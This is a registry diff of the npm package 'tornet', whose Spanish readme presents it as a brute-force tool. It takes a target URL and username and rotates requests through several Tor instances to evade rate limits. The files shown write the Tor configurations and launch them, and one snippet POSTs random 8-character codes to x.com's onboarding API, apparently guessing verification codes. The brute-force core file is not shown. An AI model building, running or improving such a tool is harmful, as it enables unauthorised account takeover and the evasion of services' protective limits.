tornet 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,12 @@
1
+ let gmail="undesconocido@gmail.com"
2
+ let diccionario=["1","2","3","4","5","6","7","8","9","0","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"]
3
+
4
+ let codigo=[diccionario[Math.floor(Math.random()*diccionario.length)],diccionario[Math.floor(Math.random()*diccionario.length)],diccionario[Math.floor(Math.random()*diccionario.length)],diccionario[Math.floor(Math.random()*diccionario.length)],diccionario[Math.floor(Math.random()*diccionario.length)],diccionario[Math.floor(Math.random()*diccionario.length)],diccionario[Math.floor(Math.random()*diccionario.length)],diccionario[Math.floor(Math.random()*diccionario.length)]].join("")
5
+
6
+
7
+ let res=await fetch("https://api.x.com/1.1/onboarding/task.json",{method:"POST",headers:{"Content-Type":"application/json"},
8
+ body:JSON.stringify({text:codigo})})
9
+
10
+
11
+ console.log(res)
12
+
package/crear_tor.ts ADDED
@@ -0,0 +1,12 @@
1
+ import fs from 'fs'
2
+
3
+ //declaración de variables
4
+ let i=0
5
+ let port=9052
6
+
7
+ //codigo ejecutable
8
+ while(i<=4){
9
+ fs.writeFileSync(`/tmp/tor${i}rc`,`SOCKSPort ${port}
10
+ ControlPort ${port +1}
11
+ DataDirectory /tmp/tor${i}`); ++i; port=port+2
12
+ }
package/iniciar_tor.sh ADDED
@@ -0,0 +1,11 @@
1
+ #!/bin/bash
2
+
3
+
4
+
5
+
6
+ #codigo ejecutable
7
+
8
+ for i in {0..4}
9
+ do
10
+ tor -f /tmp/tor$i\rc &
11
+ done
package/package.json ADDED
@@ -0,0 +1,22 @@
1
+ {
2
+ "name": "tornet",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "rotar_ip3.ts",
6
+ "bin":{"tornet":"node rotar_ip3.ts"},
7
+ "scripts": {
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "keywords": [],
11
+ "author": "",
12
+ "license": "ISC",
13
+ "type": "module",
14
+ "dependencies": {
15
+ "@types/yargs": "^17.0.35",
16
+ "axios": "^1.16.1",
17
+ "http-proxy-agent": "^9.0.0",
18
+ "node-fetch": "^3.3.2",
19
+ "socks-proxy-agent": "^10.0.0",
20
+ "yargs": "^18.0.0"
21
+ }
22
+ }
package/readme.md ADDED
@@ -0,0 +1,15 @@
1
+ Pasos para usar esta herramienta
2
+
3
+ 1: Descargue el paquete usando npm tornet -g
4
+
5
+ 2: ponga en la consola:
6
+
7
+ node crear_tor.ts
8
+
9
+ chmod +x /iniciar_tor.sh
10
+
11
+ ./iniciar_tor.sh
12
+
13
+ 3: Una vez haya inicializado tor, solo tiene que usar el comando "tornet", use las flags "--url" y "--usuario" para indicar la url y el usuario al que se hará la fuerza bruta, y "-n" para indicar el número de peticiones a hacer antes del rate-limit
14
+
15
+ aviso: La velocidad promedio de esta herramienta es de 2 peticiones por segundo (bastante lento la verdad), si desea aumentar la velocidad le recomiendo dos opciones, o usar un servicio de proxies con rotación de ip automática (de paga), o use esta herramienta en varias computadoras (inevitablemente tendrá que manipular el código, suerte)
package/ts.config.json ADDED
@@ -0,0 +1,8 @@
1
+ {
2
+ "compilerOptions": {
3
+ "target": "ES2020",
4
+ "module": "esnext",
5
+ "strict": false,
6
+ "outDir": "./dist"
7
+ }
8
+ }